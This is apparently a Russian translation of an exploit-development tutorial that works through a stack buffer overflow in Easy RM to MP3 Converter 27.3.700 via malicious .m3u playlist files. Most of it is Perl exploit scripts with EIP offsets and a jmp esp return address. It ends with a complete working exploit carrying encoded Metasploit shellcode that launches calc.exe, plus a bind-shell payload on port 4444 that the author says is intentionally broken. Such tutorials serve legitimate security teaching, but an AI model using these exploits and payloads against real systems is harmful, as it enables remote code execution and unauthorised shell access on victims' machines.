SRV*C:\windbgsymbols*http://msdl.microsoft.com/download/symbols

Отлично, давайте начнем.

Запустите Easy RM to MP3 и загрузите в неё файл crash.m3u. Приложение падает, и если при установке вы установили WinDbg как «родной» отладчик, должно появиться сообщение, в котором следует нажать "Debug".

Прим. Переводчика: «Если вы не установили WinDbg в режим "post-mortem", то сделайте следующее: запустите конвертер, и WinDbg. В отладчике пройдите в "File – Attach to Process (F6)" и выберете из появившегося списка, процесс нашей испытуемой программы – "RM2MP3Converter.exe". Нажмите в отладчике "Debug – Go(F5)". Теперь откройте через EasyRMtoMP3 файл crash.m3u, и следите за реакцией отладчика»

WinDbg:



Immunity:



программы, которое показывает команды трансляции и коды операций (окно пусто, потому что EIP в настоящее время указывает на 41414141, и это не правильный адрес). В верхнем правом окне вы можете видеть регистры. В нижнем левом углу вы видите дамп памяти 00446000 в этом случае. В нижнем правом углу находиться окно стека.

В обеих случаях мы видим в указателе команды (EIP) 41414141, что является шестнадцатиричным представлением AAAA.

Примечание: в Intel x86 адреса сохранены в формате little-endian. Это значит, что они отображаются наоборот. На примере с AAAA это незаметно, но вот если бы это была последовательность ABCD, то мы бы наблюдали в EIP 44434241, что эквивалентно DCBA.

Таким образом, мы видим, что часть crash.m3u записалась в буфер и вызвала его переполнение. А так, как часть строки попала и в EIP, мы можем делать вывод об исполнении своего кода, путем изменения значения в EIP. Такое поведение называется «переполнение стека» (или «буферное переполнение», или BoF).

Так как наш файл содержит только символы "A", мы незнаем точно, насколько большим наш буфер должен быть, чтобы попасть точно в EIP. Иными словами мы должны знать точную позицию в нашем буфере/полезной нагрузке (payload), чтобы перезаписать EIP, тем что нам нужно. Эта позиция часто упоминается как "смещение/оффсет/offset".

Определяем размер буфера, чтобы попасть точно в EIP.

Нам уже известно, что EIP расположен где-то между 20 000 и 30 000 байт от начала буфера. Теперь, мы можем перезаписать все А адресом, который мы бы хотели поместить в EIP. Это сработает, но мы попробуем найти точное место, где происходить перезапись. Чтобы определить в буфере точное смещение данных для EIP, нам необходимо проделать кое-какие действия.
Во-первых, давайте сузим потенциальное местоположение, изменив немного Perl-скрипт. Мы создадим файл, который будет содержать 25000 «A» и 5000 «B». Если в EIP попадут 41414141(АААА), то искомая область буфера находится между 20000 и 25000 «А», а если в EIP будет 42424242(BBBB), то область находиться между 25000 и 30000.

#!usr/bin/perl
my $file= "crash25000.m3u";
my $junk1 = "\x41" x 25000;
my $junk2 = "\x42" x 5000;
my $junk = $junk1.$junk2;
open($FILE,">$file");
print $FILE $junk;
close($FILE);
print "m3u File Created successfully\n";

Запустим этот скрипт, и получим новый crash.m3u файл. Запустив его в конвертере и отследив отладчиком, увидим:



Видим, что EIP содержит 42424242(BBBB), а значит что смещение EIP находиться между 25000 и 30000. Нам также известно, что и в ESP попали «B», а значит, что EIP находиться не в самом конце буфера (т.к. EIP идет перед ESP).



Дамп содержимого в ESP:



Отлично! Мы переписали EIP «BBBB» и увидели его продолжение в ESP.
Прежде чем улучшить наш perl-скприт, мы должны узнать место в буфере(смещение), которое в дальнейшем перезапишет EIP. Для этих целей воспользуемся Metasploit Framework’ом. В нём присутствует отличный инструмент для подсчета смещений. Он генерирует строку состоящую из уникальных последовательностей – паттернов, по которым в дальнейшем определяется местоположение в буфере, т.к. для каждого участка буфера идет уникальный порядок символов в паттерне.
Откройте папку инструментов Metasploit (на данный момент версия 3.4) «msf3/tools/», и запустите утилиту под названием pattern_create.rb, выставив значение 5000 знаков. Полученный результат запишите в perl-скрипт, таким образом:

#!usr/bin/perl
my $file= "crash25000.m3u";
my $junk1 = "\x41" x 25000;
my $junk2 = "СЮДА ВСТАВИТЬ ПОЛУЧЕННУЮ СТРОКУ";
my $junk = $junk.$junk2;
open($FILE,">$file");
print $FILE "$junk";
close($FILE);
print "m3u File Created successfully\n";

Создайте m3u-файл, и запустите в конвертере. Обратите внимание на EIP:



Значение, которое на этот раз попало в EIP – 0x386b4237(в little endian это 37 42 6b 38 – 7Bk8). Теперь вновь обратимся к Metasploit, а именно к его утилите pattern_offset.rb. Запускаем так:

# ./pattern_offset.rb 0x386b4237 5000

Получили 1103. Это длина буфера до области перезаписывающей EIP. Что ж, если мы создадим файл с 25000+1103 «A» и прибавим к ним «BBBB», то при очередном переполнении мы увидим в EIP 42 42 42 42. Также мы знаем, что в ESP попадает остаток буфера, не вошедший в EIP. Давайте добавим для наглядности «С».
Изменяем perl-скрипт на новый лад:

#!usr/bin/perl
my $file= "eipcrash.m3u";
my $junk= "A" x 26013;#25000+1103
my $eip = "BBBB";
my $espdata = "C" x 1000;
open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "m3u File Created successfully\n";

Выполним данный скрипт, получившийся файл отправим в программу. Вывод будет следующим:





Превосходно! В EIP попало BBBB, так как мы и хотели. Теперь мы можем управлять потоком программы.

Примечание: вся работа описанная здесь, содержит адреса моей операционной системы, которые могут отличаться от ваших. Имейте это ввиду при копировании кода, содержащего смещения, и перед запуском изменяйте их на свои.

Теперь буфер нашего эксплойта выглядит так:



А стек так



Ищем место в памяти для размещения шеллкода.

Мы контролируем EIP. Таким образом, мы можем указать EIP свернуть в другое место, которое будет содержать наш собственный код (shellcode). Но как найти это место, и как туда поместить свой шеллкод, и в дальнейшем осуществить переход EIP к нему?

Чтобы приложение упало, мы записали 26013 «A» в память, переписали значение в EIP, а также записали цепочку «C» в ESP.

Когда приложение терпит крушение, понаблюдайте за регистрами, получая их дамп (команды: d esp, d eax, d ebx, d ebp, …). Если у вас получиться найти свой буфер (из «A» или из «C») в одном из регистров, то у вас есть шанс заменить их на свой шеллкод. В нашем примере мы видим, что ESP содержит много «С», и эта область идеальна для размещения там нашего шеллкода.

Несмотря на то, что мы можем увидеть массив из символов «C», мы не знаем наверняка, что первая буква C (по адресу 000ffd38, на который указывает ESP), является фактически первым символом в массиве.
Мы изменим perl-скрипт, и подадим строку символов (я взял 144 символа, но вы можете взять больше или меньше) вместо массива с «C»:

#!usr/bin/perl
my $file= "test1.m3u";
my $junk= "A" x 26013;
my $eip = "BBBB";
my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" .
"5ABCDEFGHIJK6ABCDEFGHIJK" .
"7ABCDEFGHIJK8ABCDEFGHIJK" .
"9ABCDEFGHIJKAABCDEFGHIJK".
"BABCDEFGHIJKCABCDEFGHIJK";
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Генерируем файл, и запускаем в конвертере. Делаем дамп ESP («d esp»):



Здесь мы можем наблюдать два интересных момента:
  • ESP начинается с 5-го символа нашего шаблона, а не с первого.
  • После шаблона мы видим "A". Они принадлежат первой части буфера (26013 x «A»), таким образом мы можем поместить наш шеллкод в первую часть буфера (прежде, чем перезапишем RET)

Но давайте не будет идти по такому пути. Мы для начала добавим 4 символа перед шаблоном и повторим тест. Если все подходит, ESP должен будет указать непосредственно на начало нашего шаблона:

#!usr/bin/perl
my $file= "test2.m3u";
my $junk= "A" x 26068;
my $eip = "BBBB";
my $newchar = "X" x 37;
my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" .
"5ABCDEFGHIJK6ABCDEFGHIJK" .
"7ABCDEFGHIJK8ABCDEFGHIJK" .
"9ABCDEFGHIJKAABCDEFGHIJK".
"BABCDEFGHIJKCABCDEFGHIJK";
open($FILE,">$file");
print $FILE $junk.$eip.$newchar.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Проведем переполнение ещё раз, и посмотрим на реакцию:



Уже намного лучше. Удалось выровнять буфер к началу ESP-области.

Итак, что мы имеем:
  • управление EIP
  • область для размещения шеллкода
  • регистр, который указывает на шеллкод, а именно адрес 000ffd38

Что нам осталось сделать:
  • встроить реальный шеллкод
  • заставить EIP перейти на шеллкод, указав адрес 000ffd38

Давайте попробуем.
Проведем небольшой тест: запишем 26013 «А», после запишем 0x000ffd38 в EIP, за ними будут идти 25 NOP’ов, после них разрыв, и ещё немного NOP’ов. Код скрипта следующий:

#!usr/bin/perl
my $file= "test3.m3u";
my $junk= "A" x 26013;
my $eip = pack('V',0x000ffd38);  
my $shellcode = "\x90" x 25; # NOP-след
$shellcode = $shellcode."\xcc"; #разрыв
$shellcode = $shellcode."\x90" x 25; # NOP-след
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Приложение упало. Если взглянуть на EIP, то можно видеть, что он указывает на 0x000ffd38, как и ESP. Если сделать дамп ESP, то можно увидеть не совсем то, что ожидалось:



Переход непосредственно к адресу памяти, возможно, не лучшее решение. 000ff730 содержит нулевой байт, который является признаком конца строки … так «A», которые мы видим, исходят из первой части буфера …, мы ещё не достигали точки, где могли бы писать свои данные после перезаписи EIP.
Кроме того, использование жестко заданного адреса памяти для перехода к шеллкоду сделало бы эксплойт очень ненадежным. Дело в том, что этот адрес памяти может быть различным в зависимости от версий OS, языка, патчей, и т.д.
Небольшое отступление: мы не должны переписывать EIP прямым указателем адреса памяти, таким как 000ffd38. Это не хорошая идея. Мы должны использовать другую методику, чтобы достигнуть той же цели: создать переход приложения к нашему собственному коду. Идеально было бы сослаться на регистр (или смещение к регистру), в нашем случае к ESP, и найти функцию, которая перейдет к этому регистру. Тогда мы попытаемся перезаписать EIP адресом той функции.

Перейти к шеллкоду более надежным способом.

Нам удалось поместить наш шеллкод в ESP. Если бы этого не было, то мы обратились бы к значениям других адресов регистра в надежде найти наш буфер. В любом случае мы будем использовать ESP.

Переход к ESP является очень частым случаем в приложениях Windows. Фактически, приложения используют одну или более dll-библиотек, и их содержимое. Кроме того, адреса, используемые в dll, являются статическими. То есть, если мы найдём dll, которая содержит команду, для перехода к ESP, и если нам удастся перезаписать EIP адресом той команды, то переход может получиться. Давайте проверим. Прежде всего, мы должны выяснить, какой код у операции "jmp ESP".
Мы можем сделать это, запустив конвертер и подключить к его процессу отладчик. Это дает нам преимущество, т.к. windbg будет видеть все dll и модули, которые загружены приложением.



После присоединения отладчика к процессу приложение остановится. Для этого, в командной строке windbg, внизу экрана, введём "a" (assembler). Далее вводим "jmp ESP".



Жмем "Enter", и вводим "u" (unassemble):



Рядом с 7c90120e, мы видим ffe4. Это – код для операции "jmp esp"
Теперь мы должны найти этот код в одной из загруженных dll.
Пролистав окно отладчика вверх, найдём строки, которые указывают на dll, принадлежащие конвертеру:



Если мы сможем найти код операции "jmp esp" в одной из этих dll, то у нас есть шанс создать надежно работающий эксплойт на платформе Windows XP. Если бы мы захотели использовать dll, которая принадлежит OS, то эксплойт мог отказаться работать на других версиях системы. Исследуем содержимое одной из dll нашей экспериментальной программы.
Для осмотра возьмём " C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll". Эта dll загружена между 01c30000 и 020fd000. Искать в этой области мы будет код нашей операции - "ff e4", введя в командную строку отладчика "s 01c30000 l 020fd000 ff e4":



Превосходно. Когда выбран адрес, важно найти нулевые байты. Мы должны избегать использования адресов с нулевыми байтами, особенно, если мы используем буферные данные, которые будут находиться после перезаписанного EIP. Нулевой байт стал бы признаком конца строки, и оставшаяся часть буферных данных будет непригодной.

Ещё одна хорошая область для поиска кодов операции "s 70000000 l fffffff и следующие e4".

Примечание: есть другие способы получить адреса кода операции:
  • программа findjmp (от Ryan Permeh): компилируем findjmp.c и выполняем со следующими параметрами:
  • база опкодов от metasploit.com
  • memdump


Так как мы хотим вставить наш шеллкод в ESP,адрес на jmp esp не должен иметь нулевых байтов. Если бы у этого адреса были бы нулевые байты, мы перезаписали бы EIP адресом, который содержит нулевые байты. Нулевой байт это признак конца строки, таким образом все, что следует после него, будет проигнорировано. В некоторых случаях нулевой байт имеет место быть. В адресах, которые начинаются с нулевого байта, т.к. из-за little endian, нулевой байт стал бы последним байтом в регистре EIP. И если мы не посылаем пэйлод после перезаписи EIP (т.е., если шеллкод будет подан до того, как будет перезаписан EIP), то тогда это будет работать.
В любом случае, сейчас мы будем использовать полезную нагрузку после перезаписи EIP, поэтому адрес не должен содержать нулевые байты.

Первый адрес: 0x01def23a
Проверим, что этот адрес содержит jmp esp (отбросьте "0x" 01def23a ) и введём в командную строку отладчика "u 01def23a":



Теперь, если мы запишем в EIP 0x01def23a, то выполниться операция jmp esp, тем самым передав управление на наш шеллкод. Т.е., мы добились работоспособности эксплойта. Давайте протестируем его.
Закройте отладчик, и создайте новый .m3u-файл при помощи нижеследующего perl-скрипта:

#!usr/bin/perl
my $file= "test4.m3u";
my $junk= "A" x 26013;
my $eip = pack('V',0x01def23a);  

my $shellcode = "\x90" x 25; 

$shellcode = $shellcode."\xcc"; 
$shellcode = $shellcode."\x90" x 25; 

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";


Теперь программа упала по адресу 000ffd4d, который является точкой останова(breakpoint).
Теперь можно перейти к использованию функциональных шеллкодов.

Выбираем шеллкод и завершаем разработку эксплойта.

В metasploit есть отличный генератор полезных нагрузок, который поможет вам при разработке шеллкода. Полезные нагрузки идут с различными опциями, и (в зависимости от того, что они должны сделать), могут быть маленьких или очень больших размеров. Если у вас есть ограничение по размеру в пространстве для буфера, то вы могли бы обратить своё внимание на многоуровневый шеллкод (multi-staged shellcode), или использовать собственноручный шеллкод, такой как этот http://packetstormsecurity.org/shell...-shellcode.txt (32 байта cmd.exe шеллкод для xp sp2). Также, вы можете разделить свой шеллкод на более меньшие части - 'eggs' и использовать методику, названную 'eggs-hunting'.

Скажем, мы хотим, чтобы calc.exe был выполнен, как наша полезная нагрузка для эксплойта, тогда шеллкод может выглядеть следующим образом:

# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";

Объединим данную нагрузку с нашим perl-скриптом:

#
# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
# Greetings to Saumil and SK :-)
#
# tested on Windows XP SP3 (En)
#
#
#
my $file= "exploitrmtomp3.m3u";

my $junk= "A" x 26013;
my $eip = pack('V', 0x01def23a);  #jmp esp from MSRMCcodec02.dll

my $shellcode = "\x90" x 25;

# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Проверяем в деле: запускаем скрипт – получает .m3u-файл – запускаем конвертер – скармливаем ему .m3u-файл – смотрим на результат.



БУМ! Теперь у нас есть свой первый рабочий эксплойт!

Что, если вы захотите сделать что-то ещё, кроме как запуск calc.exe?

Вы можете создать другой шеллкод и заменить им "launch calc.exe shellcode", но возникают риски не вложиться по размерам в отведенную область буфера, либо в шеллкоде будут присутствовать недопустимые символы, которые могут быть отфильтрованы.

Например, если мы хотим иметь эксплойт, который сделает bind port (привязку к порту), и удаленный взломщик сможет подключившись к нему получить доступ через командную строку. Такой шеллкод может выглядеть следующим образом:

# windows/shell_bind_tcp - 344 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, LPORT=5555, RHOST=
"\x31\xc9\xbf\xd3\xc0\x5c\x46\xdb\xc0\xd9\x74\x24\xf4\x5d" .
"\xb1\x50\x83\xed\xfc\x31\x7d\x0d\x03\x7d\xde\x22\xa9\xba" .
"\x8a\x49\x1f\xab\xb3\x71\x5f\xd4\x23\x05\xcc\x0f\x87\x92" .
"\x48\x6c\x4c\xd8\x57\xf4\x53\xce\xd3\x4b\x4b\x9b\xbb\x73" .
"\x6a\x70\x0a\xff\x58\x0d\x8c\x11\x91\xd1\x16\x41\x55\x11" .
"\x5c\x9d\x94\x58\x90\xa0\xd4\xb6\x5f\x99\x8c\x6c\x88\xab" .
"\xc9\xe6\x97\x77\x10\x12\x41\xf3\x1e\xaf\x05\x5c\x02\x2e" .
"\xf1\x60\x16\xbb\x8c\x0b\x42\xa7\xef\x10\xbb\x0c\x8b\x1d" .
"\xf8\x82\xdf\x62\xf2\x69\xaf\x7e\xa7\xe5\x10\x77\xe9\x91" .
"\x1e\xc9\x1b\x8e\x4f\x29\xf5\x28\x23\xb3\x91\x87\xf1\x53" .
"\x16\x9b\xc7\xfc\x8c\xa4\xf8\x6b\xe7\xb6\x05\x50\xa7\xb7" .
"\x20\xf8\xce\xad\xab\x86\x3d\x25\x36\xdc\xd7\x34\xc9\x0e" .
"\x4f\xe0\x3c\x5a\x22\x45\xc0\x72\x6f\x39\x6d\x28\xdc\xfe" .
"\xc2\x8d\xb1\xff\x35\x77\x5d\x15\x05\x1e\xce\x9c\x88\x4a" .
"\x98\x3a\x50\x05\x9f\x14\x9a\x33\x75\x8b\x35\xe9\x76\x7b" .
"\xdd\xb5\x25\x52\xf7\xe1\xca\x7d\x54\x5b\xcb\x52\x33\x86" .
"\x7a\xd5\x8d\x1f\x83\x0f\x5d\xf4\x2f\xe5\xa1\x24\x5c\x6d" .
"\xb9\xbc\xa4\x17\x12\xc0\xfe\xbd\x63\xee\x98\x57\xf8\x69" .
"\x0c\xcb\x6d\xff\x29\x61\x3e\xa6\x98\xba\x37\xbf\xb0\x06" .
"\xc1\xa2\x75\x47\x22\x88\x8b\x05\xe8\x33\x31\xa6\x61\x46" .
"\xcf\x8e\x2e\xf2\x84\x87\x42\xfb\x69\x41\x5c\x76\xc9\x91" .
"\x74\x22\x86\x3f\x28\x84\x79\xaa\xcb\x77\x28\x7f\x9d\x88" .
"\x1a\x17\xb0\xae\x9f\x26\x99\xaf\x49\xdc\xe1\xaf\x42\xde" .
"\xce\xdb\xfb\xdc\x6c\x1f\x67\xe2\xa5\xf2\x98\xcc\x22\x03" .
"\xec\xe9\xed\xb0\x0f\x27\xee\xe7";

Как вы могли заметить, этот шеллкод длиной в 344 байта, и он не вызовет падение программы:



Это наиболее вероятная проблема, возникающая из-за размерности шеллкода и буфера. Также мы можем столкнуться с проблемой запрещенных символов. Вы можете избежать таких символов строя шеллкод в metasploit’е, но вам должно быть известно, какие из символов допустимы, а какие нет.

Проблему с запретами можно решить через кодировщики(encoders). В предыдущей полезной нагрузке мы использовали "x86/shikata_ga_nai", но вполне возможно, что с применением alpha_upper нагрузка будет работать лучше. Используя другой кодировщик, вполне возможно увеличить длину шеллкода, но это, как нам уже известно, не большая проблема.

Давайте попытаемся построить пэйлод tcp_shell_bind, используя alpha_upper кодировщик.
Мы привяжем оболочку(shell) на 4444 порт. Новый шеллкод составит 703 байта.
код демонстрационный:

# windows/shell_bind_tcp - 703 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=4444, RHOST=
"\x89\xe1\xdb\xd4\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42" .
"\x4a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b\x4f\x4b" .
"\x4f\x43\x50\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47" .
"\x35\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x44\x38\x45\x51\x4a" .
"\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43" .
"\x31\x4a\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a" .
"\x4e\x46\x51\x49\x50\x4a\x39\x4e\x4c\x4d\x54\x49\x50\x44" .
"\x34\x45\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a" .
"\x4b\x4a\x54\x47\x4b\x51\x44\x51\x34\x47\x58\x44\x35\x4a" .
"\x45\x4c\x4b\x51\x4f\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c" .
"\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a" .
"\x4b\x44\x43\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x46\x44\x45" .
<...>
"\x50\x41\x41";

Давайте применим этот код к нашему эксплойту.
P.S. Код преднамеренно сломан, для того чтобы вы сами попробовали применить полученные знания, и попытались его восстановить:

#
# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
# Greetings to Saumil and SK :-)
#
# tested on Windows XP SP3 (En)
#
#
#
my $file= "exploitrmtomp3.m3u";

my $junk= "A" x 26094;
my $eip = pack('V',0x01ccf23a);  #jmp esp from MSRMCcodec02.dll

my $shellcode = "\x90" x 25;

# windows/shell_bind_tcp - 703 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=4444, RHOST=
$shellcode=$shellcode."\x89\xe1\xdb\xd4\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x00\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42" .
"\x4a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b\x4f\x4b" .
"\x4f\x43\x50\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47" .
"\x35\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x44\x38\x45\x51\x4a" .
"\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43" .
"\x31\x4a\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a" .
"\x4e\x46\x51\x49\x50\x4a\x39\x4e\x4c\x4d\x54\x49\x50\x44" .
"\x34\x45\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a" .
"\x4b\x4a\x54\x47\x4b\x51\x44\x51\x34\x47\x58\x44\x35\x4a" .
"\x45\x4c\x4b\x51\x4f\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c" .
"\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a" .
"\x4b\x44\x43\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x46\x44\x45" .
"\x4c\x43\x51\x48\x43\x46\x51\x49\x4b\x45\x34\x4c\x4b\x50" .
"\x43\x50\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45" .
"\x4c\x4e\x4d\x4c\x4b\x51\x50\x45\x58\x51\x4e\x43\x58\x4c" .
"\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f\x48\x56\x43" .
"\x56\x50\x53\x45\x36\x45\x38\x50\x33\x50\x32\x42\x48\x43" .
"\x47\x43\x43\x47\x42\x51\x4f\x50\x54\x4b\x4f\x48\x50\x42" .
"\x48\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x50\x50\x4b\x4f\x48" .
"\x56\x51\x4f\x4d\x59\x4d\x35\x45\x36\x4b\x31\x4a\x4d\x43" .
"\x38\x43\x32\x46\x35\x43\x5a\x44\x42\x4b\x4f\x4e\x30\x42" .
"\x48\x48\x59\x45\x59\x4c\x35\x4e\x4d\x50\x57\x4b\x4f\x48" .
"\x56\x46\x33\x46\x33\x46\x33\x50\x53\x50\x53\x50\x43\x51" .
"\x43\x51\x53\x46\x33\x4b\x4f\x4e\x30\x43\x56\x45\x38\x42" .
"\x31\x51\x4c\x42\x46\x46\x33\x4c\x49\x4d\x31\x4a\x35\x42" .
"\x48\x4e\x44\x44\x5a\x44\x30\x49\x57\x50\x57\x4b\x4f\x48" .
"\x56\x43\x5a\x44\x50\x50\x51\x51\x45\x4b\x4f\x4e\x30\x43" .
"\x58\x49\x34\x4e\x4d\x46\x4e\x4b\x59\x50\x57\x4b\x4f\x4e" .
"\x36\x50\x53\x46\x35\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x50" .
"\x49\x4d\x56\x50\x49\x51\x47\x4b\x4f\x48\x56\x50\x50\x50" .
"\x54\x50\x54\x46\x35\x4b\x4f\x48\x50\x4a\x33\x45\x38\x4a" .
"\x47\x44\x39\x48\x46\x43\x49\x50\x57\x4b\x4f\x48\x56\x50" .
"\x55\x4b\x4f\x48\x50\x42\x46\x42\x4a\x42\x44\x45\x36\x45" .
"\x38\x45\x33\x42\x4d\x4d\x59\x4b\x55\x42\x4a\x46\x30\x50" .
"\x59\x47\x59\x48\x4c\x4b\x39\x4a\x47\x43\x5a\x50\x44\x4b" .
"\x39\x4b\x52\x46\x51\x49\x50\x4c\x33\x4e\x4a\x4b\x4e\x47" .
"\x32\x46\x4d\x4b\x4e\x51\x52\x46\x4c\x4d\x43\x4c\x4d\x42" .
"\x5a\x50\x38\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x42\x52\x4b" .
"\x4e\x4e\x53\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x49" .
"\x46\x51\x4b\x46\x37\x46\x32\x50\x51\x50\x51\x46\x31\x42" .
"\x4a\x45\x51\x46\x31\x46\x31\x51\x45\x50\x51\x4b\x4f\x48" .
"\x50\x43\x58\x4e\x4d\x4e\x39\x45\x55\x48\x4e\x51\x43\x4b" .
"\x4f\x49\x46\x43\x5a\x4b\x4f\x4b\x4f\x47\x47\x4b\x4f\x48" .
"\x50\x4c\x4b\x46\x37\x4b\x4c\x4c\x43\x49\x54\x45\x34\x4b" .
"\x4f\x4e\x36\x50\x52\x4b\x4f\x48\x50\x43\x58\x4c\x30\x4c" .
"\x4a\x44\x44\x51\x4f\x46\x33\x4b\x4f\x48\x56\x4b\x4f\x48" .
"\x50\x41\x41";

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Создаем .m3u-файл и запускаем в конвертере. Easy RM to MP3 зависает. Подключаемся через telnet к этому же хосту на порт 4444:



Есть контакт! =)

Теперь можете создавать свои собственные эксплойты.